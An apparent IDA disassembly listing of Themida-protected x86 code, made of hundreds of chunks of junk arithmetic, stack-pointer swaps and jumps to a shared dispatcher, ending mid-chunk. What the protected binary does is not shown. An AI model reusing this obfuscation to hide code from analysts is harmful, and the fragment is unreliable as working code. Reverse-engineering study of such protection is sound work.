pop edi
xchg edx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
shl [esp+1Ah+var_1A], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_57182E: ; CODE XREF: sub_562ABA+DD5Fj
shl eax, 6
not eax
push ebp
mov ebp, 69FF4184h
not ebp
inc ebp
inc ebp
sub esp, 4
mov [esp+0], edi
mov edi, 49366DC2h
sub ebp, edi
pop edi
sub eax, ebp
jmp loc_568DA4
; ---------------------------------------------------------------------------
loc_571852: ; CODE XREF: sub_562ABA+DF03j
add eax, 42CC88CFh
sub edi, eax
pop eax
add edi, 54E31367h
and edi, 0D8115C0h
xor edi, 2DCE3CF9h
sub edi, 2DCE3DB7h
add ebp, edi
pop edi
xor ebp, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], ebp
xor ebp, [esp+2Ah+var_2C+2]
pop esp
bts word ptr [esp+26h+var_28+2], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_57188A: ; CODE XREF: sub_562ABA+8326j
push esp
jmp loc_571AD0
; ---------------------------------------------------------------------------
loc_571890: ; CODE XREF: sub_562ABA+4092j
add esp, 2
neg cl
sub esp, 4
mov [esp+0Ch+var_C], eax
jmp loc_562FE5
; ---------------------------------------------------------------------------
loc_5718A3: ; CODE XREF: sub_562ABA+3268j
add eax, 15BA34CBh
push 1684h
mov [esp+16h+var_16], edx
mov edx, 629C1DC8h
push edi
mov edi, 5D0E5A2Eh
jmp loc_55FF22
; ---------------------------------------------------------------------------
loc_5718C0: ; CODE XREF: sub_562ABA-1923j
pop ebx
mov dh, ch
pop ecx
mov eax, [esp+0]
add esp, 4
jmp loc_567889
; ---------------------------------------------------------------------------
loc_5718CF: ; CODE XREF: sub_562ABA+6EF2j
push [esp+12h+var_12]
mov edx, [esp+16h+var_16]
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp+1Ah+var_1A]
pop esp
add esp, 4
shr ecx, 0
or eax, eax
jz loc_568AD0
push ebx
jmp loc_566E96
; ---------------------------------------------------------------------------
loc_5718FF: ; CODE XREF: sub_562ABA-2E2Bj
add eax, 35C8A2A8h
or esi, eax
pop eax
neg esi
push esi
not [esp+12h+var_12]
pop esi
shl esi, 6
xor esi, 8A242356h
xor edi, esi
push dword ptr [esp+0]
jmp loc_56684C
; ---------------------------------------------------------------------------
loc_571921: ; CODE XREF: sub_562ABA+3D8Dj
push 0FE6h
mov [esp+0Ch+var_C], esi
mov esi, 4F863B69h
neg esi
jmp loc_55F90A
; ---------------------------------------------------------------------------
loc_571935: ; CODE XREF: sub_562ABA+F5Bj
xor ebp, 8DE648B1h
dec ebp
jmp loc_56A44B
; ---------------------------------------------------------------------------
loc_571941: ; CODE XREF: sub_562ABA+65B3j
pop ecx
add esp, 4
xor bl, al
jmp loc_565B57
; ---------------------------------------------------------------------------
loc_57194C: ; CODE XREF: sub_562ABA-1780j
add edx, esi
jmp loc_56A8F1
; ---------------------------------------------------------------------------
loc_571953: ; CODE XREF: sub_562ABA+5062j
pop ebx
sub ecx, 3951222h
jmp loc_568606
; ---------------------------------------------------------------------------
loc_57195F: ; CODE XREF: sub_562ABA+2E07j
sub edx, 195E5C96h
not edx
jmp loc_56043F
; ---------------------------------------------------------------------------
loc_57196C: ; CODE XREF: sub_562ABA+D091j
add ebp, eax
sub ebp, 34E96787h
mov eax, [esp+0]
add esp, 4
jmp loc_56F383
; ---------------------------------------------------------------------------
loc_571982: ; CODE XREF: sub_562ABA+4E5Dj
add esp, 4
xor ecx, ebx
pop ebx
push 2F26h
jmp loc_565060
; ---------------------------------------------------------------------------
loc_571992: ; CODE XREF: sub_562ABA+8065j
add esp, 4
push 6341h
jmp loc_56A7C0
; ---------------------------------------------------------------------------
loc_5719A2: ; CODE XREF: sub_562ABA+553Cj
sub esp, 4
mov [esp+4Ah+var_4A], edi
mov edi, 69962AAFh
shl edi, 6
neg edi
jmp loc_56FCD9
; ---------------------------------------------------------------------------
loc_5719B7: ; CODE XREF: sub_562ABA+4256j
add ecx, 53EECE50h
or ebp, ecx
pop ecx
jmp loc_56C4C8
; ---------------------------------------------------------------------------
loc_5719C5: ; CODE XREF: sub_562ABA+520Aj
pop edx
add ebx, esi
jmp loc_5619C9
; ---------------------------------------------------------------------------
loc_5719CD: ; CODE XREF: sub_562ABA-3B98j
sub eax, edi
push [esp+26h+var_28+2]
jmp loc_562852
; ---------------------------------------------------------------------------
loc_5719D7: ; CODE XREF: sub_562ABA+6DBj
mov [esp-0Ch+arg_8], edx
push eax
pushf
jmp loc_56167F
; ---------------------------------------------------------------------------
loc_5719E1: ; CODE XREF: sub_562ABA+1468j
xchg ebp, [esp+6+var_8+2]
pop esp
push 4389h
mov [esp+6+var_8+2], ebx
push [esp+6+var_4+2]
mov ebx, [esp+0Ah+var_C+2]
push eax
mov eax, esp
jmp loc_56C087
; ---------------------------------------------------------------------------
loc_5719FC: ; CODE XREF: sub_562ABA+7467j
sub esp, 4
jmp loc_55E27F
; ---------------------------------------------------------------------------
loc_571A07: ; CODE XREF: sub_562ABA-695j
push esp
mov esi, [esp+4Ah+var_4A]
add esp, 4
add esi, 4
push 0C6h
mov [esp+4Ah+var_4A], edx
mov edx, 40EF6430h
push esi
jmp loc_56C04F
; ---------------------------------------------------------------------------
loc_571A2A: ; CODE XREF: sub_562ABA+3181j
pop edx
shl edi, 8
shr edi, 7
push ecx
push edi
mov edi, 3C791237h
add edi, 5DC33AF3h
xor edi, 880C2338h
jmp loc_55EF14
; ---------------------------------------------------------------------------
loc_571A49: ; CODE XREF: sub_562ABA+7939j
pop edx
push 7BEh
mov [esp+1Ah+var_1A], ecx
push [esp+1Ah+var_16]
pop ecx
pop [esp+1Ah+var_1A]
mov esp, [esp+16h+var_16]
mov dx, word ptr [esp+16h+var_16]
jmp loc_567FE0
; ---------------------------------------------------------------------------
loc_571A66: ; CODE XREF: sub_562ABA-1004j
mov ecx, 0A24BFB46h
jmp loc_55F5BF
; ---------------------------------------------------------------------------
loc_571A70: ; CODE XREF: sub_562ABA+83B4j
xor [esp+26h+var_28+2], ebp
jmp loc_563544
; ---------------------------------------------------------------------------
loc_571A78: ; CODE XREF: sub_562ABA+34EFj
sub ebp, 237F26A5h
jmp loc_563CB4
; ---------------------------------------------------------------------------
loc_571A83: ; CODE XREF: sub_562ABA+3AF2j
pop ebp
sub eax, ecx
jmp loc_55E817
; ---------------------------------------------------------------------------
loc_571A8B: ; CODE XREF: sub_562ABA-3600j
mov dx, word ptr [esp+16h+var_16]
jmp loc_5691E5
; ---------------------------------------------------------------------------
loc_571A94: ; CODE XREF: sub_562ABA+C05Fj
mov esp, [esp-6+arg_0+2]
mov [esp-6+arg_0+2], ecx
push esi
mov esi, 31C4685Ah
or esi, 4DC46306h
add esi, 43155F64h
sub esi, 4BFD045Ch
add esi, 9E99AEBEh
jmp loc_570075
; ---------------------------------------------------------------------------
loc_571ABD: ; CODE XREF: sub_562ABA+7A0Fj
push ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp+36h+var_36]
add esp, 4
jmp loc_567075
; ---------------------------------------------------------------------------
loc_571AD0: ; CODE XREF: sub_562ABA+EDD1j
pop ebp
sub esp, 4
mov [esp+32h+var_32], esi
push ebp
mov ebp, 67133CCEh
mov esi, ebp
pop ebp
sub esi, 21101D86h
and esi, 4F0C4984h
shr esi, 5
add esi, 462F1FBCh
inc esi
sub esi, 485F2001h
add ebp, esi
pop esi
jmp loc_56B92C
; ---------------------------------------------------------------------------
loc_571B04: ; CODE XREF: sub_562ABA-2215j
sub eax, edi
pop edi
mov esi, eax
pop eax
add esi, 0FFFFFFFFh
not esi
inc esi
shr esi, 4
push ebx
jmp loc_56385C
; ---------------------------------------------------------------------------
loc_571B19: ; CODE XREF: sub_562ABA+E1Ej
mov edi, 2F971663h
add [esp+12h+var_8+2], edi
pop edi
pop ebp
jmp loc_5669AA
; ---------------------------------------------------------------------------
loc_571B29: ; CODE XREF: sub_562ABA+4C63j
pop dword ptr [esp+0]
pop esp
movzx cx, al
push 7AE3h
mov [esp+0Ah+var_C+2], ebp
push esp
jmp loc_5693E8
; ---------------------------------------------------------------------------
loc_571B3F: ; CODE XREF: sub_562ABA+3B50j
mov ebx, 51FC31B3h
shl ebx, 8
shr ebx, 1
jmp loc_5714F4
; ---------------------------------------------------------------------------
loc_571B4E: ; CODE XREF: sub_562ABA+9559j
xchg edi, [esp+12h+var_12]
jmp loc_56B4CC
; ---------------------------------------------------------------------------
loc_571B56: ; CODE XREF: sub_562ABA-5FDj
mov ebp, 69586AD2h
xor ebp, ecx
pop ecx
not ebp
jmp loc_5642A4
; ---------------------------------------------------------------------------
loc_571B65: ; CODE XREF: sub_562ABA+5113j
push esp
pop ebx
push edx
push ebp
push eax
mov eax, 797F12E7h
shl eax, 3
xor eax, 0D5FAC8FBh
mov ebp, eax
push [esp+0Ah+var_C+2]
push dword ptr [esp+0]
pop eax
add esp, 4
add esp, 4
mov edx, ebp
pop ebp
sub edx, 1E025FBFh
jmp loc_568703
; ---------------------------------------------------------------------------
loc_571B97: ; CODE XREF: sub_562ABA+B58Fj
sub eax, 57FB4557h
sub eax, 4E2D4719h
sub esp, 4
jmp loc_56C20F
; ---------------------------------------------------------------------------
loc_571BA9: ; CODE XREF: sub_562ABA+5DBFj
push [esp+2Ah+var_2C+2]
pop eax
jmp loc_5725D8
; ---------------------------------------------------------------------------
loc_571BB2: ; CODE XREF: sub_562ABA+63C8j
add [esp-0Ah+arg_8+2], ecx
push [esp-0Ah+arg_4+2]
pop ecx
jmp loc_563C3A
; ---------------------------------------------------------------------------
loc_571BBF: ; CODE XREF: sub_562ABA+7774j
mov edx, [esp+0]
add esp, 4
sub esi, 4
xchg esi, [esp+20h+var_22+2]
pop esp
mov [esp+1Ch+var_1E+2], eax
push 3BFE1D7Fh
jmp loc_563C27
; ---------------------------------------------------------------------------
loc_571BDC: ; CODE XREF: sub_562ABA+2D5Ej
pop esi
jmp loc_561897
; ---------------------------------------------------------------------------
loc_571BE2: ; CODE XREF: sub_562ABA+3258j
mov esp, [esp+0]
add ebx, 4
push esi
jmp loc_563C4D
; ---------------------------------------------------------------------------
loc_571BF1: ; CODE XREF: sub_562ABA-22BCj
xor ecx, 173B2F56h
add ecx, 302EC745h
add edx, ecx
jmp loc_55E1CD
; ---------------------------------------------------------------------------
loc_571C04: ; CODE XREF: sub_562ABA+97AAj
pop ebx
dec eax
shl eax, 3
shr eax, 1
sub eax, 2E8E091Ah
sub ecx, eax
push [esp+22h+var_22]
pop eax
add esp, 4
push esi
mov esi, 4EC24684h
add ecx, esi
pop esi
shr ecx, 7
shr ecx, 8
push edx
mov edx, 3171219Fh
push edi
jmp loc_56CE02
; ---------------------------------------------------------------------------
loc_571C34: ; CODE XREF: sub_562ABA+3C4Aj
not esi
not esi
xor esi, 67BC69F1h
mov edi, esi
pop esi
sub [esp+4], edi
mov edi, [esp+32h+var_32]
add esp, 4
pop esi
jmp loc_56B545
; ---------------------------------------------------------------------------
loc_571C54: ; CODE XREF: sub_562ABA+ACB8j
push eax
mov ah, 0F3h
inc ah
add ah, 0EDh
mov dl, 29h
add dl, 0EBh
add dl, ah
sub dl, 0EBh
pop eax
add dl, ch
push [esp+18h+var_1A+2]
pop ecx
push edx
mov edx, esp
push 3A0Bh
mov [esp+20h+var_22+2], ebp
mov ebp, 4
add edx, ebp
jmp loc_561333
; ---------------------------------------------------------------------------
loc_571C84: ; CODE XREF: sub_562ABA+E69Aj
xor al, 0EFh
add cl, al
pop eax
add al, 0D9h
sub al, 0C4h
add al, cl
add al, 0C4h
jmp loc_564836
; ---------------------------------------------------------------------------
loc_571C96: ; CODE XREF: sub_562ABA+3j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
mov [esp+26h+var_28+2], ebx
push 200h
push [esp+2Ah+var_2C+2]
mov ebx, [esp+0]
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
xchg ebp, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
jmp loc_56628C
sub_562ABA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_56123C
; =============== S U B R O U T I N E =======================================
sub_571CD8 proc near ; CODE XREF: sub_562ABA+A896j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 646875E2h
jmp loc_570DDB
sub_571CD8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571CEB: ; CODE XREF: sub_562ABA-15EFj
sub esi, 2D29169Dh
jmp loc_568157
; ---------------------------------------------------------------------------
loc_571CF6: ; CODE XREF: sub_562ABA+4D69j
push edx
dec byte ptr [esp-8+arg_4+1]
pop edx
not dh
jmp loc_56130C
; ---------------------------------------------------------------------------
loc_571D03: ; CODE XREF: sub_562ABA+1E19j
sub al, 0Dh
add al, bl
add al, 0Dh
sub al, 62h
mov ebx, [esp+26h+var_28+2]
add esp, 4
add al, 13h
push ebx
push eax
push ecx
jmp loc_562AF0
; ---------------------------------------------------------------------------
loc_571D1E: ; CODE XREF: sub_562ABA+519Aj
or cl, 5Dh
push eax
push edx
mov dh, 36h
add dh, 0CBh
mov al, dh
pop edx
add cl, 62h
add cl, al
sub cl, 62h
jmp loc_56FCE4
; ---------------------------------------------------------------------------
loc_571D38: ; CODE XREF: sub_562ABA+B635j
push ecx
mov cl, dl
not cl
jmp loc_5711E2
; ---------------------------------------------------------------------------
loc_571D42: ; CODE XREF: sub_562ABA+81E5j
or bh, ah
pop eax
xor bh, 0F6h
sub esp, 4
mov [esp-8+arg_4], edx
mov dl, 3Dh
xor dl, 47h
inc dl
xor dl, 0A1h
dec dl
sub dl, 24h
and bh, dl
pop edx
dec bh
add bh, 8
add al, bh
pop ebx
jmp loc_56774C
; ---------------------------------------------------------------------------
loc_571D6D: ; CODE XREF: sub_562ABA+99BDj
mov edi, [esp+1Eh+var_1E]
add esp, 4
pop ebx
and eax, edx
mov edx, [esp+16h+var_16]
push 614Ah
mov [esp+1Ah+var_1A], eax
push 3167h
push esp
pop [esp+22h+var_22]
jmp loc_560C9E
; ---------------------------------------------------------------------------
loc_571D8F: ; CODE XREF: sub_562ABA+543j
xor [esp+12h+var_12], ecx
xor ecx, [esp+12h+var_12]
pop esp
push edx
push ebp
push esi
mov esi, 0AC760A1h
add esi, 0F5389F5Fh
mov ebp, esi
pop esi
mov edx, ebp
pop ebp
add edx, eax
mov [edx], ch
mov edx, [esp+12h+var_12]
add esp, 4
push dword ptr [esp+0]
pop ecx
jmp loc_56BE61
; ---------------------------------------------------------------------------
loc_571DC0: ; CODE XREF: sub_562ABA+27A2j
push esp
jmp loc_567A70
; ---------------------------------------------------------------------------
loc_571DC6: ; CODE XREF: sub_562ABA+BCB9j
pop ebx
add esp, 4
jmp loc_56DC7A
; ---------------------------------------------------------------------------
loc_571DCF: ; CODE XREF: sub_562ABA+1018Ej
sub eax, 4
jmp loc_5724BC
; ---------------------------------------------------------------------------
loc_571DD7: ; CODE XREF: sub_562ABA+3A99j
pop [esp+14h+var_16+2]
mov esp, [esp+10h+var_12+2]
xor word ptr [esp+10h+var_12+2], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_571DE7: ; CODE XREF: sub_562ABA+D6E5j
push [esp+22h+var_22]
jmp loc_5667AC
; ---------------------------------------------------------------------------
loc_571DEF: ; CODE XREF: sub_562ABA-2828j
pop ebx
push ebx
mov ebx, 148077EAh
jmp loc_56F408
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_571DFB: ; DATA XREF: Themida_:0055DFD4o
mov sp, [esp]
jmp loc_55E09F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571E04: ; CODE XREF: sub_562ABA+DC69j
push ecx
push ebx
mov ebx, 5D842809h
shr ebx, 7
xor ebx, 50322B66h
mov ecx, ebx
jmp loc_55FBEA
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_571E1B: ; DATA XREF: Themida_:0055DFBCo
push dword ptr [esp]
mov eax, [esp]
push 3F94h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56B45E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571E3D: ; CODE XREF: sub_562ABA+D901j
pop edi
xchg ecx, [esp-6+arg_0+2]
pop esp
push 6C22h
mov [esp-6+arg_0+2], edi
jmp loc_567E76
; ---------------------------------------------------------------------------
loc_571E4F: ; CODE XREF: sub_562ABA+FF5Dj
mov dl, bh
push ebx
jmp loc_563D2A
; ---------------------------------------------------------------------------
loc_571E57: ; CODE XREF: sub_562ABA+B3D2j
xchg ebp, ecx
jmp loc_565A9B
; ---------------------------------------------------------------------------
loc_571E5E: ; CODE XREF: sub_562ABA+DF70j
pop ebp
mov edi, [esp+8+var_8]
jmp loc_55F902
; ---------------------------------------------------------------------------
loc_571E67: ; CODE XREF: sub_562ABA+6232j
sub al, 94h
add al, 52h
jmp loc_56602F
; ---------------------------------------------------------------------------
loc_571E70: ; CODE XREF: sub_562ABA+AEB9j
not esi
add esi, 1
sub esi, 0EAEFF4AEh
push esi
pop eax
pop esi
sub [esp+0Ah+var_8+2], 14AA2F0Eh
jmp loc_563396
; ---------------------------------------------------------------------------
loc_571E8B: ; CODE XREF: sub_562ABA-3218j
push [esp+26h+var_22]
pop edx
pop [esp+26h+var_28+2]
pop esp
mov word ptr [esp+1Eh+var_1E], dx
push ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_571EA0: ; CODE XREF: sub_562ABA+17F6j
add ebp, esi
add ebp, 3D71636Dh
pop esi
push ebx
mov ebx, 631B5C2Fh
add ebx, 0FFD60D38h
add ebp, ebx
mov ebx, [esp+1Ah+var_1A]
add esp, 4
jmp loc_56B319
; ---------------------------------------------------------------------------
loc_571EC5: ; CODE XREF: sub_562ABA+10FBj
xor ebp, 248E716Dh
add edx, ebp
pop ebp
sub edx, ecx
sub edx, 3E465FAFh
pop ecx
sub edx, 0A643C0CCh
shr edx, 3
sub edx, 710C4750h
inc edx
xor edx, 8BC26A65h
sub esp, 4
mov [esp+4Eh+var_4E], edx
push esi
jmp loc_56E49A
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_571EF9 proc near ; CODE XREF: sub_562ABA-2F4Dj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 4
sub ecx, 536B0613h
jmp loc_5655FD
sub_571EF9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571F0F: ; CODE XREF: sub_562ABA+41E9j
mov al, dl
pop edx
pop ecx
push ebx
push ecx
mov cl, al
mov bh, cl
pop ecx
push 383Eh
mov [esp+16h+var_16], edx
mov dh, bh
push ebx
mov bl, dh
jmp loc_57229B
; ---------------------------------------------------------------------------
loc_571F2C: ; CODE XREF: sub_562ABA+209j
pop edi
xor ebp, [esp+12h+var_12]
xor [esp+12h+var_12], ebp
xor ebp, [esp+12h+var_12]
pop esp
add [esp+0], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_571F40: ; CODE XREF: sub_562ABA-1045j
pop esi
jmp loc_567048
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_571F46: ; CODE XREF: sub_55FCA5+20Fj
push [esp+arg_0]
jmp loc_56DF09
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571F4F: ; CODE XREF: sub_562ABA+B6A4j
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+2Ah+var_2C+2]
jmp loc_55EA56
; ---------------------------------------------------------------------------
loc_571F62: ; CODE XREF: sub_562ABA+B176j
add esp, 4
jmp loc_55E531
; ---------------------------------------------------------------------------
loc_571F6D: ; CODE XREF: sub_562ABA+73B1j
pop ebp
jmp loc_564C9F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_571F73: ; CODE XREF: Themida_:005609FCj
pop small word ptr [esp]
jmp loc_569C8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571F7C: ; CODE XREF: sub_562ABA+DFC9j
push [esp-4+arg_4]
mov ecx, [esp+0]
jmp loc_56EAE6
; ---------------------------------------------------------------------------
loc_571F88: ; CODE XREF: sub_562ABA+B85Dj
shr bl, 3
push eax
jmp loc_57103F
; ---------------------------------------------------------------------------
loc_571F91: ; CODE XREF: sub_562ABA-3348j
xchg edx, [esp+16h+var_16]
pop esp
push ebp
mov ebp, 4
add edx, ebp
jmp loc_56F738
; ---------------------------------------------------------------------------
loc_571FA2: ; CODE XREF: sub_562ABA+6BBCj
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_571FA8: ; CODE XREF: sub_562ABA+471Bj
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
mov [esp+36h+var_36], eax
sub esp, 4
jmp loc_569E2E
; ---------------------------------------------------------------------------
loc_571FC6: ; CODE XREF: sub_562ABA+6C50j
add edi, 4
jmp loc_56F5CE
; ---------------------------------------------------------------------------
loc_571FCE: ; CODE XREF: sub_562ABA-2333j
xor ebx, [esp+42h+var_42]
pop esp
jmp loc_56AE57
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56DB20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_571FE0: ; CODE XREF: sub_562ABA-94Dj
mov edi, 17BC1F68h
jmp loc_56BD15
; ---------------------------------------------------------------------------
loc_571FEA: ; CODE XREF: sub_562ABA+53A6j
push edi
mov edi, 6FCB3E2Fh
mov ebp, edi
pop edi
add ecx, ebp
pop ebp
push ebp
mov ebp, 15015B32h
push eax
mov eax, 397109C6h
sub eax, 66F4462Eh
inc eax
sub eax, 0A8736AA6h
or ebp, eax
pop eax
and ebp, 638B2E38h
xchg ebx, ebp
not ebx
xchg ebx, ebp
push edx
jmp loc_5672B9
; ---------------------------------------------------------------------------
loc_572022: ; CODE XREF: sub_562ABA-2160j
xchg edi, edx
sub edx, 0A1307313h
mov ebp, edx
pop edx
shr ebp, 5
inc ebp
push ebp
jmp loc_56ABE2
; ---------------------------------------------------------------------------
loc_572037: ; CODE XREF: sub_562ABA+E80Bj
add [esp+3Ah+var_3A], 4
mov edi, [esp+3Ah+var_3A]
jmp loc_561FEF
; ---------------------------------------------------------------------------
loc_572043: ; CODE XREF: sub_562ABA+84B8j
add ebp, esi
jmp loc_56C0B3
; ---------------------------------------------------------------------------
loc_57204A: ; CODE XREF: sub_562ABA+CBABj
add ebp, ecx
pop ecx
add edx, ebp
pop ebp
jmp loc_565E76
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_572055: ; CODE XREF: Themida_:0055EF0Fj
push 2242h
jmp loc_56478A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_57205F: ; CODE XREF: sub_562ABA+A52Aj
mov [esp+3Ah+var_3A], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_569D3E
; ---------------------------------------------------------------------------
loc_572072: ; CODE XREF: sub_562ABA-135Dj
pop ebp
jmp loc_565972
; ---------------------------------------------------------------------------
loc_572078: ; CODE XREF: sub_562ABA-2429j
push eax
jmp loc_56E5A7
; ---------------------------------------------------------------------------
loc_57207E: ; CODE XREF: sub_562ABA+824j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+1Eh+var_1E]
pop esp
jmp loc_5687A7
; ---------------------------------------------------------------------------
loc_572093: ; CODE XREF: sub_562ABA+478Bj
sub ebx, ecx
pop ecx
push ebp
mov ebp, esp
jmp loc_569B52
; ---------------------------------------------------------------------------
loc_57209E: ; CODE XREF: sub_562ABA+6EBBj
push eax
mov ah, 0A3h
sub ah, 0FDh
or ah, 6
push ecx
mov cl, 0C7h
and cl, 1Bh
xor cl, 0E9h
add ah, cl
jmp loc_571142
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5720B7 proc near ; CODE XREF: sub_562ABA+55F3j
push ebp
mov ebp, 36CD1707h
dec ebp
neg ebp
push esi
jmp loc_563A1A
sub_5720B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5720C6: ; CODE XREF: sub_562ABA+DB3Dj
add esi, edx
jmp loc_56E6FC
; ---------------------------------------------------------------------------
loc_5720CD: ; CODE XREF: sub_562ABA-337Fj
mov [esp+0], edx
mov edx, 4
sub ecx, 58DD58CCh
add ecx, edx
add ecx, 58DD58CCh
pop edx
add ecx, 4
jmp loc_55ECE8
; ---------------------------------------------------------------------------
loc_5720EC: ; CODE XREF: sub_562ABA+7461j
push esi
mov esi, 1CEA08E6h
and esi, 42FB6819h
jmp loc_562763
; ---------------------------------------------------------------------------
loc_5720FD: ; CODE XREF: sub_562ABA-3845j
add ebx, 4EDC7813h
pop edx
push 7131h
jmp loc_570647
; ---------------------------------------------------------------------------
loc_57210E: ; CODE XREF: sub_562ABA+15BFj
add edx, 4
add edx, 4
xchg edx, [esp+2Ah+var_2C+2]
pop esp
jmp loc_564599
; ---------------------------------------------------------------------------
loc_572123: ; CODE XREF: sub_562ABA+E802j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+40h+var_42+2]
pop esp
mov [esp+3Ch+var_3E+2], edx
mov dl, 1Ch
jmp loc_570D42
; ---------------------------------------------------------------------------
loc_57213C: ; CODE XREF: sub_562ABA+3424j
pop eax
add dword ptr [esp+8], 1B487FCEh
jmp loc_56E056
; ---------------------------------------------------------------------------
loc_57214A: ; CODE XREF: sub_562ABA+3098j
pop ebp
add ebp, 4
push edx
sub esp, 4
mov [esp+10h+var_12+2], ecx
push edx
mov edx, 70DA4DFAh
mov ecx, 1D9E74C8h
xor ecx, edx
pop edx
mov edx, 0A5834F9h
xor edx, 258E0485h
add edx, 3D6E08BAh
sub edx, ecx
push [esp+10h+var_12+2]
pop ecx
add esp, 4
add ebp, edx
mov edx, [esp+0Ch+var_C]
push 69ABh
mov [esp+10h+var_12+2], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], ebp
jmp loc_5714A7
; ---------------------------------------------------------------------------
loc_5721A6: ; CODE XREF: sub_562ABA+741Ej
mov edx, edi
mov edi, [esp+2+var_4+2]
jmp loc_56F1D6
; ---------------------------------------------------------------------------
loc_5721B0: ; CODE XREF: sub_562ABA+9B40j
add ecx, edi
jmp loc_563BA1
; ---------------------------------------------------------------------------
loc_5721B7: ; CODE XREF: sub_562ABA-279Cj
not ebx
and ebx, 66CB2D12h
dec ebx
and ebx, 718056EAh
add ebx, 0DF7FFC04h
add ebp, ebx
pop ebx
jmp loc_57058C
; ---------------------------------------------------------------------------
loc_5721D4: ; CODE XREF: sub_562ABA-2BAj
mov edi, 0E8FB8CE1h
sub ebx, edi
push [esp+1Ah+var_1A]
pop edi
add esp, 4
add edx, ebx
mov ebx, [esp+16h+var_16]
add esp, 4
jmp loc_5652C2
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5721EF proc near ; CODE XREF: sub_55F3A9+Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
push dword ptr [esp+4]
mov ebp, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
pop esp
push ecx
jmp loc_562B0B
sub_5721EF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572207: ; CODE XREF: sub_562ABA+FD26j
push esp
pop ecx
jmp loc_55E759
; ---------------------------------------------------------------------------
loc_57220E: ; CODE XREF: sub_562ABA+D6ABj
mov [esp+3Eh+var_3E], esp
add [esp+3Eh+var_3E], 4
mov edi, [esp+3Eh+var_3E]
add esp, 4
push 6AFBh
mov [esp+3Eh+var_3E], ebp
push 4
pop ebp
push ebx
mov ebx, 2819280Ch
and ebx, 68E1206Eh
or ebx, 651F1AFEh
and ebx, 700303F2h
jmp loc_56CD4D
; ---------------------------------------------------------------------------
loc_57224C: ; CODE XREF: sub_562ABA+EAFDj
xor ebp, ecx
mov ecx, [esp+26h+var_28+2]
jmp loc_56A7FA
; ---------------------------------------------------------------------------
loc_572256: ; CODE XREF: sub_562ABA+BA09j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_57225B: ; CODE XREF: sub_562ABA+B46Fj
add [esp+26h+var_1E], 5B8A402Ah
add [esp+26h+var_1E], edx
push ebp
mov ebp, 5B8A402Ah
sub [esp+2Ah+var_1E], ebp
pop ebp
add [esp+26h+var_1E], 575A5B70h
jmp loc_570F99
; ---------------------------------------------------------------------------
loc_57227F: ; CODE XREF: sub_562ABA+C255j
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop [esp+32h+var_32]
pop esp
mov [esp+2Ah+var_2C+2], esi
mov esi, 4
add ebx, esi
jmp loc_569BEC
; ---------------------------------------------------------------------------
loc_57229B: ; CODE XREF: sub_562ABA+F46Dj
mov cl, bl
pop ebx
pop edx
mov ebx, [esp+12h+var_12]
